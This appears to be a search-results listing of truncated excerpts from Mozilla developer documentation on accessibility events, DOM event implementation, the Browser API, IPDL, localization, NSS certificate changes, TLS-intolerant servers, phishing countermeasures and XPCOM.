.... The text associated with an AT-SPI text changed event is directly in the event object. The event.any_data field holds the entire text string while event.detail1 is the start index while event.detail2 is the text string length. In IAccessible2, IAccessibleText::get_oldText and IAccessibleText::get_newText are used to acquire the text and offsets. Filtering Events Text Changed Events Certain
web page mutation events, such as adding to a list, trigger both an object changed and a text changed event. Both events should not be acted upon or double announcements would result. Instead, all text changed events should be examined for the presence of an embed character. If one is present, the text changed event should be discarded because an object changed event will follow. Filtering User Act...
...busy listener. This variable can then be used to quickly determine if an event was triggered by the document being loaded. An event containing an object that does not have state VISIBLE is probably from a hidden tab. An event containing an object that has state SELECTABLE is not a live region. An event containing an object that has the attribute "container-live" is a live region. However, many
web sites do not have proper ARIA markup so this cannot be used by itself. An event containing an object that has an attribute "tag:xul*" is not a live region. An event that has an object that is not a descendant of the document frame is not a live region. Live Properties This table describe the object attributes associated with a live region event. The following are guidelines on how to imple...
...the start index and end index/run length are used as given. The result being that only the change will be presented. When atomic is set to "true", the entire region should be presented. In this case the start index is 0 and the end index/run length is the length of the text - 1. container-channel The channel property defines two channels - 'main' and 'alert'. It was originally intended to give
web developers a means to force a live region message to go to a separate output device. For instance, a 'main' channel message might go to the speech generator while an 'alert' channel message might be sent to a Braille device. However, the channel property is also significant for single output applications that rely on speech output only. In this case, 'main' channel messages are queued according t...
Adding a new event
This type of event is useful if the event isn't handled by C++ code. A DOM event which represents a native event like a user action such as keyboard or mouse input. This type of event allows C++ code to handle it easier. ...
...mehtods and all of them are implemented in WidgetEventImple.cpp. E.g., if your event shouldn't cause DOM event, you need to modify WidgetEvent::IsAllowedToDispatchDOMEvent(). If your event should be fired on focused node, you need to modify WidgetEvent::IsTargetedAtFocusedContent(). How to implement a DOM event class If you're in the case 3 (non-DOM events), you can skip this section. Create
WebIDL of the event Write a DOM event definition with
WebIDL. It should be created under dom/
webidl/. See
WebIDL bindings for the detail. If your new event shouldn't be created with event constructor such as: var event = new FooEvent("bar", { bubbles: true, cancelable: true, detail: 5 }); you shouldn't define construnctor in it. Create XPCOM interface for the DOM event If your event class shoul...
...sFooEvent(); if (NS_WARN_IF(!internalEvent)) { return NS_ERROR_UNEXPECTED; } DoSomethingWith(internalEvent->mBar); aEvent->PreventDefault(); return NS_OK; } Implement DOM event class Generate DOM event implementation if it's possible If you're creating simple DOM event class, it might be generated automatically. If it's possible, you just need to add an entry to GENERATED_EVENTS_
WEBIDL_FILES in dom/
webidl/moz.build. Define and create DOM event class manually Otherwise, you need to implement a DOM event class yourself. The best place to create FooEvent.h and FooEvent.cpp is in dom/events/. Otherwise, you need to specify the path to the header file in dom/bindings/Bindings.conf. When you create a DOM event class, its name should be same as the name defined in its standard s...
...er::CreateEvent() is a factory to create a DOM event instance from internal event instance. You need to modify this. The last half of it is the implementation of legacy event creator of Javascript such as: var event = document.createEvent("FooEvent"); If you support this feature, you need to modify here. However, this feature shouldn't be implemented for compabitility with other browsers since
web applications should use event constructor. Register each event into EventNameList.h If you're in case 3, you can skip this section. EventNameList.h defines mapping between DOM event name, internal event message, event handler attribute owner and internal event class. See the comments of the head of the file for the detail. Modify tests If you're in case 3, you can skip this section. You...
Creating a Firefox sidebar
There are some ways to create an extension: The new sidebar API has been implemented in Firefox 29 as part of the Add-on SDK. ...
...debar to encourage their engagement. There are two ways to create a sidebar for Firefox users: the Social API and an extension. You can choose either depending on your needs and resources. An extension An extension is a kind of add-ons that adds new functionalities to Firefox. There is a wide range of extensions available, and some of them provide a sidebar. ...
...The document might be obsolete, though.Obsolete since Gecko 57 The Social API Obsolete since Gecko 57 (Firefox 57 / Thunderbird 57 / SeaMonkey 2.54)This feature is obsolete. ...
...eaMonkey 2.20)This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. As of Firefox 23, the addPanel and addPersistentPanel functions have been removed from the deprecated, Netscape-derived window.sidebar object. That means the ability to add a traditional sidebar panel is no longer available from
Web content. The new Social API or an extension can be used instead as described above. See Also Bootstrap addon demo which adds a sidebar with browser for HTML content: https://gist.github.com/Noitidart/8728393 ...
Message manager overview
Different tabs may run in different processes. Message managers are designed to enable code in one process to communicate with code in a different process. ...
...level, there are two different sorts of message managers: Frame message managers: these enable chrome process code to load a script into a browser frame (essentially, a single browser tab) in the content process. These scripts are called frame scripts, and as the name suggests, they are scoped to a specific browser frame. If chrome code wants to run code in the content process so it can access
web content, this is usually the sort of message manager to use. Process message managers: these correspond to process boundaries, and enable code running in the parent (chrome) process to communicate with code running in the child (content) process. From Firefox 38 onwards, they also enable code running in the parent process to load process scripts into the child process. These are like frame scrip...
...s into the child process. These are like frame scripts, except they are global to the child process. Process scripts are most likely to be useful when chrome code wants to run some code only once in the content process, to access some global service: for example, to register an observer or a content policy. ...
...enable chrome code to: load a script into a frame in the content the content process using a loadFrameScript() function. These scripts are called "frame scripts". communicate with frame scripts using addMessageListener() and broadcastAsyncMessage() or sendAsyncMessage() functions. Note that in this context, "browser" refers to the XUL <browser> object, which is a frame that hosts a single
Web document. It does not refer to the more general sense of a
Web browser. Global message manager The global message manager operates on every <browser> (that is, every open content tab). loadFrameScript() loads the given script into every <browser> in every browser window. broadcastAsyncMessage() sends the message to every <browser> in every browser window. It's a ChromeMessageBroadcaste...
Site Identity Button
The Site Identity Button is a feature in Firefox that gives users more information about the sites they visit. Depending on the configuration of your
website, this button may display a number of different icons. ...
...n is a feature in Firefox that gives users more information about the sites they visit. Depending on the configuration of your
website, this button may display a number of different icons. ...
... about the sites they visit. Depending on the configuration of your
website, this button may display a number of different icons. If the Site Identity Button on your site shows something you do not expect (for example, an orange warning triangle when you expect a green padlock) you can find out the cause of the problem by looking in the
Web Console in the Firefox Developer Tools: Ensure your
web console is displaying messages in the 'security' category Force-refresh the page on your site that is causing problems Watch for any security messages that may appear A downgraded security UI will be due to one of these three problems: Mixed content - while your page has been served over TLS, but subresources loaded for your page have not. In this case, expect to see a 'mixed content' me...
...isplaying messages in the 'security' category Force-refresh the page on your site that is causing problems Watch for any security messages that may appear A downgraded security UI will be due to one of these three problems: Mixed content - while your page has been served over TLS, but subresources loaded for your page have not. In this case, expect to see a 'mixed content' message in the
web console. Use of a weak cipher - in this case, you're using TLS but a strong cipher was not available. Look for messages about weak ciphers (e.g. RC4). Insecure renegotation - older versions of TLS had a flaw in the basic design; if your server uses an affected version, the security UI will be downgraded but no
web console message will be displayed. ...
Using the Browser API
There may also be large incompatibilities between implementations and the behavior may change in the future. The HTML Browser API is an extension of the HTML <iframe> element that allows
web apps to implement browsers or browser-like applications. It was originally used in Firefox OS to implement browser applications before that project was cancelled; since Firefox 47 it is available to desktop chrome code and used in places like the Firefox devtools. ...
...e embedded content's state, interited by the HTMLIFrameElement interface. Note: An iframe enhanced by the Browser API is commonly referred to as a "browser iframe". We'll be using this term throughout the current article, and other parts of the documentation. Demo To demonstrate basic usage of this API, we have created a simple Browser API demo that provides buttons allowing you to (re)load
web pages, stop loading, move forward and back in history, and zoom in and out of the page. To run the demo, the best approach is to clone the GitHub repo locally (or just download it directly if you don't do GitHub), open
WebIDE, open the repo as a Packaged App, then run it either on a simulator or a real device if you have one. In any case, you should at least download the repo and refer to the...
...rame> can be loaded in its own child process -- separate to the page embedding this frame -- by including the remote attribute. <iframe src="http://hostname.tld" mozbrowser remote> Warning: This last attribute is necessary for security reasons if you plan to load content from an untrusted/unknown origin. If you don't use it, you run the risk of your application being compromised by a malicious
web site. It is implied for
WebExtensions, which always run in a separate content process from
web content. Aside from the iframe, there are some basic controls: <button> elements, a simple <form> to implement the browser controls, and a search bar. The search bar also contains buttons, as well as a form to type search requests into. You can see the full HTML listing here. The JavaScript implemen...
... on the url bar to stop focusing it, so the keyboard moves off the screen, allowing us to get our full screen view back. There's another event listener added later on in the code that listens for the mozbrowserlocationchange event. When this fires, we set the value inside the URL bar input to be equal to the event object detail property -- this is so that the URL displayed continues to match the
website being shown when the user navigates back and forth through the history. browser.addEventListener('mozbrowserlocationchange', function (e) { urlBar.value = e.detail; }); Zooming in and out The browser content can be programmatically zoomed in and out using the HTMLIFrameElement.zoom() method. This takes a single method -- a zoom factor -- which dictates the percentage to zoom in or out by...
Extending a Protocol
Quick Start: Extending a Protocol This tutorial implements a simple ping-pong style IPDL protocol, which sends a message from the content process (main thread) to the chrome process (UI Thread). The tutorial is designed for beginners and will walk you through all the steps you need to get things working. The tutorial is designed for browser engineers who are implementing DOM/
Web APIs that need to, for example, send a message to the OS or spin up something off the main thread - so it's biased towards supporting W3C/WHATWG DOM APIs. What are we going to implement? tl:dr: you can see the final implementation of PEcho.ipdl as a diff in Phabricator. To make this tutorial less abstract (more fun!), we are going to implement a JS method called echo() on the Navigator interface. The ...
...are we going to implement? tl:dr: you can see the final implementation of PEcho.ipdl as a diff in Phabricator. To make this tutorial less abstract (more fun!), we are going to implement a JS method called echo() on the Navigator interface. The method will take one argument, a DOMString, which we will pass to the parent process. Then we will send that same string back to the child process. The
WebIDL for this will be: partial interface Navigator { Promise<DOMString> echo(DOMString someString); }; Learning goals are: Extending an existing IPDL protocol. Simple message passing. Working with MozPromises and JS promises. Managing child actors with reference counting. Visually, it's going to look something like this (except for the Operating System bit, which we are not actually g...
...ng someString); }; Learning goals are: Extending an existing IPDL protocol. Simple message passing. Working with MozPromises and JS promises. Managing child actors with reference counting. Visually, it's going to look something like this (except for the Operating System bit, which we are not actually going to do - just to illustrate what we could do): Let's start by implementing the
WebIDL above. Implementing the navigator.echo() In your favorite editor, open dom/
webidl/Navigator.
webidl At the end of the file, add: partial interface Navigator { [Throws] Promise<DOMString> echo(DOMString aString); }; Now we need to implement the Echo() method in C++, so open up ./dom/base/Navigator.h and let's add the method definition, so under public:: already_AddRefed<Promise>...
...g our custom protocol: PEcho.ipdl. Custom protocol - PEcho.ipdl This next part requires us to both specify the protocol and actually implement everything in C++. It's quite involved and, unfortunately, all steps need to be done before we can successfully recompile. We will try to compile our code as we go, noting what we need to do along the way. To be sure, IPDL looks like a crazy mix of
WebIDL, C++ header files, and ES6. The syntax should hopefully be fairly obvious though. Unfortunately, it's not really fully documented anywhere - and the IPDL parser gets easily confused (hence us excluding comments below). Creating the protocol PEcho.ipdl Let's start by saving the following file to ./dom/ipc/PEcho.ipdl. We will explain what all the parts mean below. Note that the file's name ...
Localization content best practices
sen a keyword that is currently in use by "%S". Please select another. Example: Search %1$S for "%2$S" Non-directional single, and double, quotation marks should be used in reference to HTML code, or other languages where ASCII character usage is required, such as HTML. HTML does not prefer one over the other, and our codebase uses them interchangeably as of March 2016. Example: This
web page at <span id='malware_sitename'/> has been reported as an attack page and has been blocked based on your security preferences. U+2026 (\u2026) is the horizontal ellipsis character. This character should be used in place of three consecutive periods. Create localizable strings Don't assume grammar structures You need to consider the need for different grammar structures in different local...
...ys include the localization note with this format if you use a plural form in Firefox. This comment is used by tools to identify strings with plural forms. One last advice: never use plural form as a replacement for single/multiple conditional. See bug 658191 for more details. ...
...nsider this string from /browser: generalSiteIdentity=This
website is owned by %S\nThis has been verified by %S First thing: always add a localization comment explaining what these variables mean, even if it seems obvious. Using multiple %S give the impression that the order of variables if fixed, which is actually not. # LOCALIZATION NOTE(generalSiteIdentity): %1$S is the owner of the current
website, # %2$S is the name of the Certification Authority signing the certificate. ...
... %S First thing: always add a localization comment explaining what these variables mean, even if it seems obvious. Using multiple %S give the impression that the order of variables if fixed, which is actually not. # LOCALIZATION NOTE(generalSiteIdentity): %1$S is the owner of the current
website, # %2$S is the name of the Certification Authority signing the certificate. generalSiteIdentity=This
website is owned by %1$S\nThis has been verified by %2$S Avoid concatenations, use placeholders instead Consider this string: tos-text = By proceeding you accept the tos-link = Terms of Services Most developers would consider this a good solution and display the concatenation of tos-text+tos-link, with an active link on the second part. Unfortunately, this won't work at all: you need at least a ...
Mozilla projects on GitHub
n GitHub. It also lists some interesting GitHub repositories containing Mozilla project code. Getting started You can look at code on GitHub without an account. That is the first thing to know. To do more--to contribute to the code, or to fork it and start your own project based on Mozilla-related code--you need a GitHub account. To learn more about setting up a GitHub account, visit the GitHub
website. Most Mozilla project code is located in repositories within the Mozilla GitHub organization. This is a great place to start looking for any projects not listed below. Projects This listing covers the larger-scale and more important Mozilla projects on GitHub. It does not include everything since it's hard to keep track of all the smaller projects. Look to GitHub for the most complete list...
...the smaller projects. Look to GitHub for the most complete list of Mozilla projects on GitHub. Project name Description PDF.js A Portable Document Format (PDF) reader written entirely in JavaScript. Shumway Shumway is a Flash VM and runtime written in JavaScript. addon-sdk The Mozilla Add-on SDK. asknot The What Can I Do For Mozilla
web site, which helps you figure out how you can contribute to Mozilla. bugsahoy A
Web page to help new Mozilla contributors identify bugs to fix. bugzilla-dashboard A convenient dashboard to help you get an overview of your bugs. codefirefox The CodeFirefox site, with videos and tutorials about how to contribute to the Firefox project and Mozilla code in general. ...
...er.html, a modern universal JS debugger for Firefox DevTools, Node, and every other JS environment. dxr An intelligent tool for browsing source code. emscripten The Emscripten LLVM-to-JavaScript compiler. fxdt-adapters The Firefox Developer Tools Adapter that lets you debug various remote targets from the Firefox Developer Tools. firefox-dev.tools A
Web page to help new Mozilla contributors find bugs to work on that relate to the Firefox Developer Tools. gecko-dev A read-only mirror of the Mercurial repositories used for Mozilla private code. kitsune Kitsune is the platform that drives the Mozilla support
web site, SUMO. kuma The Django project that powers this site (MDN). mdn Code samples for the ...
...e to help new Mozilla contributors find bugs to work on that relate to the Firefox Developer Tools. gecko-dev A read-only mirror of the Mercurial repositories used for Mozilla private code. kitsune Kitsune is the platform that drives the Mozilla support
web site, SUMO. kuma The Django project that powers this site (MDN). mdn Code samples for the MDN
Web site. mozbrick The Mozilla Brick project. mozilla-B2G The Firefox OS project. mozilla-appmaker The Appmaker project -- a
Web tool to let non-programmers create apps. mozilla-l10n Scripts and tools used by the localization drivers. mozilla-metrics Tools used to collect metrics about Mozilla code. mozilla-services Mozilla cloud...
Phishing: a short definition
lect sensitive information, such as usernames, passwords, and financial details by disguising as a trustworthy entity online. A relatively simple, yet effective, phishing scheme is sending an email with a fake invoice of a person's favorite shopping site. This email will usually contain a link pretending to lead to the original service, but in reality, taking the victim to an attacker-controlled
website. The login portal might resemble the trusted
website's login page very closely, and convince users to enter their credentials, letting others hijack their account. Past and current countermeasures Various technical, and social approaches, exist to combat phishing attacks. None of these are sufficient by themselves, so we see a mix of these deployed by various services. The following is a no...
..., includes missing HTTPS or EV certificate indicators in a browser's navigation bar. Services assuming responsibility Technical solutions can be more efficient if implemented to protect millions of users automatically. As most phishing attacks start with unsolicited email messages, a clear starting point is improving spam filters, thus reducing the number of fraudulent messages reaching users.
Web browser vendors too, are interested in protecting their users from phishing. After all, the browser plays an essential role in the scheme: a fake
website is loaded in a browser and here is the maker's last chance to preventing fraud. Since version 2.0, Firefox has used Google's SafeBrowsing service, to detect known
web forgeries, and display an alert instead of the fraudulent
website. Two-Factor...
...second factors. A second factor is something a user possesses to further authenticate with a service. For example, a USB token, Bluetooth device, mobile phone, or simply a key stored on a separate device. The first factor is usually the password and username. If both factors don't match, the service will reject authentication requests. Public Key Cryptography Many services will soon support W3C
Web Authentication, a powerful technology to evade phishing, based on public key cryptography.
Web Authentication supports millions of readily avilable FIDO U2F USB security keys, and will support the more advanced FIDO 2.0 keys, once made available. Verification via Text Message If a service supports verification, via SMS, it sends a text message with a one-time PIN to the user's phone number. The...
...This was chosen as an early second factor 'protocol' as text messages are widely supported, however, even NIST no longer recommends SMS verification. The SS7 telephony system is vulnerable, making eavesdropping, or rerouting text messages quite trivial. ...
Preference reference
om.window.dump.file redirects the ouput of window.dump() calls to a file whose address is specified in this preference if browser.dom.window.dump.enabled is set to true. ...
...ePerSite controls whether the directory preselected in the file picker for saving a file download is being remembered on a per-
website (host) base. ...
...The emitting of the oncopy, oncut and onpaste events are controlled by this preference. javascript.options.showInConsoleThe preference javascript.options.showInConsole controls whether errors or warnings in chrome code are shown in the Error Con...
...s bar by coloring it black and the other parts grey.browser.urlbar.trimURLsThe preference browser.urlbar.trimURLs controls whether the protocol http and the trailing slash behind domain name (if the open page is exactly the domain name) are hidden.dom.event.clipboardevents.enableddom.event.clipboardevents.enabled lets
websites get notifications if the user copies, pastes, or cuts something from a
web page, and it lets them know which part of the page had been selected. The emitting of the oncopy, oncut and onpaste events are controlled by this preference. javascript.options.showInConsoleThe preference javascript.options.showInConsole controls whether errors or warnings in chrome code are shown in the Error Console.javascript.options.strictTechnical review completed.mail.tabs.drawInTitleba...
Productization guide
Productization is the choice of ''default'' search engines, content and protocol handlers, bookmarks, links to recommended sites on the in-product pages, etc. The
web services that make up the productization of Mozilla software are often specific to a local market. For example, a search provider can deliver a very good quality of search results -- but only in a specific country or language, and we have to take this into account when considering default search engines for a locale. ...
...roduct pages, etc. The
web services that make up the productization of Mozilla software are often specific to a local market. For example, a search provider can deliver a very good quality of search results -- but only in a specific country or language, and we have to take this into account when considering default search engines for a locale. Hence there is a need to customize the set of default
web services on a per-locale basis in order to ensure a good user experience across all locales. ...
...a very good quality of search results -- but only in a specific country or language, and we have to take this into account when considering default search engines for a locale. Hence there is a need to customize the set of default
web services on a per-locale basis in order to ensure a good user experience across all locales. Purpose of productization There are two main purposes of adding default
web services to Mozilla products: Provide users with useful and relevant content Demonstrate certain features of the product The first one (provide users with useful and relevant content) is obvious: we want to improve our users' experience on the
Web, so we provide a couple of well-thought suggestions for different services. For example, we ship Firefox with 6 or 7 search engine plug-ins to ma...
...r different services. For example, we ship Firefox with 6 or 7 search engine plug-ins to make users' lives easier when they're looking for information, translation, products, multimedia, spelling and definitions, etc. Another example: when the user clicks on a mailto: link, we suggest a couple of possible handlers chosen from the applications installed on their computer. But we also suggest a few
web-based clients (like Yahoo! Mail and GMail), so that if the user happens to use one of these in the browser, they don't have to configure them. The second purpose (demonstrate certain features of the product) is equally important: by providing these default services, we demonstrate particular features of the product, the ones which otherwise wouldn't be as discoverable. For example, putting one sa...
NSS 3.16.3 release notes
:DF:75:38:02:05:00:E1:25:F5:C8:36 CN = QuoVadis Root CA 3 G3 SHA1 Fingerprint: 48:12:BD:92:3C:A8:C4:39:06:E7:30:6D:27:96:E6:A4:CF:22:2E:7D The Trust Bits were changed for the following CA certificates OU = Class 3 Public Primary Certification Authority SHA1 Fingerprint: A1:DB:63:93:91:6F:17:E4:18:55:09:40:04:15:C7:02:40:B0:AE:6B Turned off
websites and code signing trust bits (1024-bit root) OU = Class 3 Public Primary Certification Authority SHA1 Fingerprint: 74:2C:31:92:E6:07:E4:24:EB:45:49:54:2B:E1:BB:C5:3E:61:74:E2 Turned off
websites and code signing trust bits (1024-bit root) OU = Class 2 Public Primary Certification Authority - G2 SHA1 Fingerprint: B3:EA:C4:47:76:C9:C8:1C:EA:F2:9D...
...hange requested by CA) CN = VeriSign Class 2 Public Primary Certification Authority - G3 SHA-1 Fingerprint: 61:EF:43:D7:7F:CA:D4:61:51:BC:98:E0:C3:59:12:AF:9F:EB:63:11 Turned off code signing trust bit (change requested by CA) CN = AC Raiz Certicamara S.A. ...
...ode signing trust bit (change requested by CA) CN = AC Raiz Certicamara S.A. ...
...e requested by CA) CN = NetLock Uzleti (Class B) Tanusitvanykiado SHA1 Fingerprint: 87:9F:4B:EE:05:DF:98:58:3B:E3:60:D6:33:E7:0D:3F:FE:98:71:AF Turned off
websites and code signing trust bits (1024-bit root) CN = NetLock Expressz (Class C) Tanusitvanykiado SHA1 Fingerprint: E3:92:51:2F:0A:CF:F5:05:DF:F6:DE:06:7F:75:37:E1:65:EA:57:4B Turned off
websites and code signing trust bits (1024-bit root) Bugs fixed in NSS 3.16.3 This Bugzilla query returns all the bugs fixed in NSS 3.16.3: https://bugzilla.mozilla.org/buglist.cgi?resolution=FIXED&classification=Components&query_format=advanced&product=NSS&target_milestone=3.16.3 ...
NSS 3.34 release notes
ftp.mozilla.org for secure HTTPS download: Source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/NSS_3_34_RTM/src/ Notable Changes in NSS 3.34 The following CA certificates were Added: CN = GDCA TrustAUTH R5 ROOT SHA-256 Fingerprint: BF:FF:8F:D0:44:33:48:7D:6A:8A:A6:0C:1A:29:76:7A:9F:C2:BB:B0:5E:42:0F:71:3A:13:B9:92:89:1D:38:93 Trust Flags:
Websites CN = SSL.com Root Certification Authority RSA SHA-256 Fingerprint: 85:66:6A:56:2E:E0:BE:5C:E9:25:C1:D8:89:0A:6F:76:A8:7E:C1:6D:4D:7D:5F:29:EA:74:19:CF:20:12:3B:69 Trust Flags:
Websites, Email CN = SSL.com Root Certification Authority ECC SHA-256 Fingerprint: 34:17:BB:06:CC:60:07:DA:1B:96:1C:92:0B:8A:B4:CE:3F:AD:82:0E:4A:A3:0B:9A:CB:C4:A7:4E:BD...
...om Root Certification Authority RSA SHA-256 Fingerprint: 85:66:6A:56:2E:E0:BE:5C:E9:25:C1:D8:89:0A:6F:76:A8:7E:C1:6D:4D:7D:5F:29:EA:74:19:CF:20:12:3B:69 Trust Flags:
Websites, Email CN = SSL.com Root Certification Authority ECC SHA-256 Fingerprint: 34:17:BB:06:CC:60:07:DA:1B:96:1C:92:0B:8A:B4:CE:3F:AD:82:0E:4A:A3:0B:9A:CB:C4:A7:4E:BD:CE:BC:65 Trust Flags:
Websites, Email CN = SSL.com EV Root Certification Authority RSA R2 SHA-256 Fingerprint: 2E:7B:F1:6C:C2:24:85:A7:BB:E2:AA:86:96:75:07:61:B0:AE:39:BE:3B:2F:E9:D0:CC:6D:4E:F7:34:91:42:5C Trust Flags:
Websites CN = SSL.com EV Root Certification Authority ECC SHA-256 Fingerprint: 22:A2:C1:F7:BD:ED:70:4C:C1:E7:01:B5:F4:08:C3:10:88:0F:E9:56:B5:DE:2A:4A:44:F9...
... EV Root Certification Authority RSA R2 SHA-256 Fingerprint: 2E:7B:F1:6C:C2:24:85:A7:BB:E2:AA:86:96:75:07:61:B0:AE:39:BE:3B:2F:E9:D0:CC:6D:4E:F7:34:91:42:5C Trust Flags:
Websites CN = SSL.com EV Root Certification Authority ECC SHA-256 Fingerprint: 22:A2:C1:F7:BD:ED:70:4C:C1:E7:01:B5:F4:08:C3:10:88:0F:E9:56:B5:DE:2A:4A:44:F9:9C:87:3A:25:A7:C8 Trust Flags:
Websites CN = TrustCor RootCert CA-1 SHA-256 Fingerprint: D4:0E:9C:86:CD:8F:E4:68:C1:77:69:59:F4:9E:A7:74:FA:54:86:84:B6:C4:06:F3:90:92:61:F4:DC:E2:57:5C Trust Flags:
Websites, Email CN = TrustCor RootCert CA-2 SHA-256 Fingerprint: 07:53:E9:40:37:8C:1B:D5:E3:83:6E:39:5D:AE:A5:CB:83:9E:50:46:F1:BD:0E:AE:19:51:CF:10:FE:C7:C9:65 Trust Flags:
Websites...
...z o.o. ...
Notes on TLS - SSL 3.0 Intolerant Servers
e 6.x/7.x and Mozilla users have reported that some secure sites -- typically sites featuring online transactions or online banking over the HTTPS protocol -- do not display any content at all. The connection seems terminated and a blank page is displayed. This is the main symptom of the problem when Mozilla based browsers encounter TLS/SSL 3.0 intolerant servers. Cause There are some number of
web servers in production today which incorrectly implement the SSL 3.0 specification. This incorrect implementation causes them to reject connection attempts from clients that are compliant with the SSL 3.0 and TLS (aka SSL 3.1) specifications. Netscape 6.x/7.x and Mozilla browsers (0.9.1 and later versions) correctly implement the TLS specification, and the users cannot utilize sites which have th...
...mation, you can read a Bugzilla bug report which keeps track of this problem with Mozilla-based browsers. See bug 59321. Servers currently known to exhibit this intolerant behavior As of this writing, this problem has been reported for the following servers: (Wherever there is an upgraded version which fixes the problem, it is indicated by an asterisked remark in the parentheses. ) Domino-Go-
Webserver/4.6.2.6 (and perhaps some later versions) IBM_HTTP_Server/1.3.6.3 or earlier (* Update to 1.3.6.4) IBM_HTTP_Server/1.3.12.1 or earlier (* Update to 1.3.12.2) Java
Web Server 2 OSU/3.2 - DECthreads HTTP server for OpenVM Stronghold/2.2
Webmail v. 3.6.1 by Infinite Technologies (* Update available) N.B. There might be servers other than those listed above which exhibit this problem. I...
...hese earlier browsers. Netscape 6.1 or Mozilla 0.9.2 and later These browsers shipped with the TLS option ON but also included a graceful rollback mechanism on the client side when they encounter known TLS/SSL 3.0 intolerant servers. Firefox 2 and later Starting with Firefox 2, support for SSL 2.0 has been disabled by default; unless it is expressly re-enabled by the user using about:config.
Website Administrators: How to avoid this problem? Upgrade to a newer version if available, which corrects this problem. There will be other network clients which implement TLS/SSL 3.0 specification correctly and have a problem with your site. Let's not perpetuate the problem servers. Contact the manufacturer and inquire if there is a new version available which fixes this problem. Post a note o...
... preference option Edit | Preferences | Privacy and Security | SSL | Enable TLS is turned ON. If so, turn it OFF. Now re-visit the problem site. If the content displays this time, you are most likely witnessing a TLS/SSL 3.0 intolerant server. Report such a problem to the server's administrator. How to report an intolerant server Optional:Get the name of the SSL server software used by the
website. To do so, add http://toolbar.netcraft.com/site_report?url= to the beginning of the URL. The server software will appear next to Server under SSL Certificate Information. For instance, to check https://bugzilla.mozilla.org/, then visit http://toolbar.netcraft.com/site_rep...a.mozilla.org/. Add the information on such a server (software, URL) to bug 59321 at Bugzilla. (Note: You will be ...
DocShell
Overview of a URI load up though dispatch to a content handler. Overview of a URI load in general (more bird's-eye view). ...
... Overview of a URI load up though dispatch to a content handler. Overview of a URI load in general (more bird's-eye view). ...
... Overview of a URI load up though dispatch to a content handler. Overview of a URI load in general (more bird's-eye view). ...
... Overview of a URI load up though dispatch to a content handler. Overview of a URI load in general (more bird's-eye view). ...
An Overview of XPCOM
the XPCOM component model along the way. This chapter provides a quick tour of XPCOM - an introduction to the basic concepts and technologies in XPCOM and component development. The brief sections in this chapter introduce the concepts at a very high level, so that we can discuss and use them with more familiarity in the tutorial itself, which describes the creation of a Mozilla component called
WebLock. The XPCOM Solution The Cross Platform Component Object Module (XPCOM) is a framework which allows developers to break up monolithic software projects into smaller modularized pieces. These pieces, known as components, are then assembled back together at runtime. The goal of XPCOM is to allow different pieces of software to be developed and built independently of one another. In order to a...
...ng chapters, but for now, it can be useful to think of XPCOM as a platform for component development, in which features such as those listed above are provided. Gecko Although it is in some ways structurally similar to Microsoft COM, XPCOM is designed to be used principally at the application level. The most important use of XPCOM is within Gecko, an open source, standards compliant, embeddable
web browser and toolkit for creating
web browsers and other applications. XPCOM is the means of accessing Gecko library functionality and embedding or extending Gecko. This book focuses on the latter - extending Gecko - but the fundamental ideas in the book will be important to developers embedding Gecko as well. Gecko is used in many internet applications, mostly browsers and most notably Mozilla ...
...6 The length of a CID can make it cumbersome to deal with in the code, so very often you see #defines for CIDs and other identifiers being used, as in this example: #define SAMPLE_CID \ { 0x777f7150, 0x4a2b, 0x4301, \ { 0xad, 0x10, 0x5e, 0xab, 0x25, 0xb3, 0x22, 0xaa}} You also see NS_DEFINE_CID used a lot. This simple macro declares a constant with the value of the CID: static NS_DEFINE_CID(k
WebShellCID, NS_
WEB_SHELL_CID); A CID is sometimes also referred to as a class identifier. If the class to which a CID refers implements more than one interface, that CID guarantees that the class implements that whole set of interfaces when it's published or frozen. Contract ID A contract ID is a human readable string used to access a component. A CID or a contract ID may be used to get a compon...
...t can be used from JavaScript or vice versa. See Resources for more information about Python and other languages for which support has been added in XPCOM. All of the public interfaces in XPCOM are defined using the XPIDL syntax. Type libraries and C++ header files are generated from these IDL files, and the tool that generates these files is called the xpidl compiler. The section Defining the
WebLock Interface in XPIDL describes the XPIDL syntax in detail. XPCOM Services When clients use components, they typically instantiate a new object each time they need the functionality the component provides. This is the case when, for example, clients deal with files: each separate file is represented by a different object, and several file objects may be being used at any one time. But there i...
Component Internals
<< PreviousNext >> Where the previous chapter described components from the perspective of a client of XPCOM components, this chapter discusses components from the perspective of the software developer. Read on to see how components are generally implemented in XPCOM, or you can skip to the next chapter, where the
WebLock component tutorial takes you step by step through the component creation process. XXX mediawiki...XXX sucks Creating Components in C++ Let's start by examining how XPCOM components are written in C++. The most common type of component is one that is written in C++ and compiled into a shared library (a DLL on a Windows system or a DSO on Unix). The illustration below shows the basic relationship between the shared library containing the component implementat...
...ts factory code creates for use by clients. XPCOM Initialization To understand why and when your component library gets called, it is important to understand the XPCOM initalization process. When an application starts up, that application may initialize XPCOM. The sequence of events that kicks off this XPCOM initialization may be triggered by user action or by the application startup itself. A
web browser that embeds Gecko, for example, may initialize XPCOM at startup through the embedding APIs. Another application may delay this startup until XPCOM is needed for the first time. In either case, the initialization sequence within XPCOM is the same. XPCOM starts when the application makes a call to initialize it. Parameters passed to this startup call allow you to configure some aspects of ...
...non-debug builds of Gecko, however. When the registration process begins, XPCOM broadcasts to all registered observers a notification that says XPCOM has begun the registration of new components. After all components are registered, another notification is fired saying that XPCOM is done with the registration step. The nsIObserver interface that handles this notification is discussed in Starting
WebLock. Once registration is complete and the notifications have fired, XPCOM is ready to be used by the application. If XPCOM registered your component, then it will be available to other parts of the XPCOM system. The XPCOM Initialization section in this chapter describes registration in more detail. Autoregistration The term autoregistration is sometimes used synonymously with registration in ...
...nsEmbedString and nsEmbedCString are available as very lightweight string implementations for component development, especially in small embedded applications. This string implementation does the bare minimum to support the nsAString/nsACString functionality. In your own component, you can go "slim" and restrict yourself to the nsEmbedString or go "hog wild" and use any of the the other strings.
WebLock restricts itself to using the simple nsEmbedString family of classes. String Classes and XPCOM The glue library provides stub functions for the public functions that XPCOM provides (see xpcom/build/nsXPCOM.h). When the glue library is initialized, it dynamically loads these symbols from the XPCOM library, which allows the component to avoid linking directly with the XPCOM library. You sho...
Preface
PCOM is similar to Microsoft COM. If you have any experience with this technology, much of it can be applied to XPCOM. However, this book does not assume any prior knowledge of COM - all of the basic COM ideas will be introduced. This book provides a tutorial about building an XPCOM component that controls browsing behavior. Although, XPCOM can be used in many environments which are unrelated to
